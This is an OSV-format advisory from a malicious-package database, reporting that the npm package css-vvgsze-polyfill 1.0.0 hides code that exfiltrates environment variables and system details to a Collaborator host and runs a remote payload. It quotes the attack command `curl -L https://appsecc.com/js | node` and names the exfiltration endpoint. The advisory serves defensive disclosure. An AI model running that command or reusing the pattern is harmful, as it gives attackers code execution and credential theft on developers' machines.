{"id":"MAL-2026-17577","summary":"Malicious code in css-vvgsze-polyfill (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)\nthunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.\n","modified":"2026-10-05T16:31:38.289228478Z","published":"2026-10-05T16:13:54Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-021074","import_time":"2026-10-05T16:22:56.696953563Z","modified_time":"2026-10-05T16:13:54Z","sha256":"242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-vvgsze-polyfill/v/1.0.0"}],"affected":[{"package":{"name":"css-vvgsze-polyfill","ecosystem":"npm","purl":"pkg:npm/css-vvgsze-polyfill"},"versions":["1.0.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"sha256":"921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276","tlsh":"207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4","path":"thunderboltRegistry.js"}],"package_integrity":[{"filename":"css-vvgsze-polyfill-1.0.0.tgz","hashes":{"sha512_sri":"sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w==","sha1":"38f035fc04ad37ea00a9cfba806d660386db5978"}}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}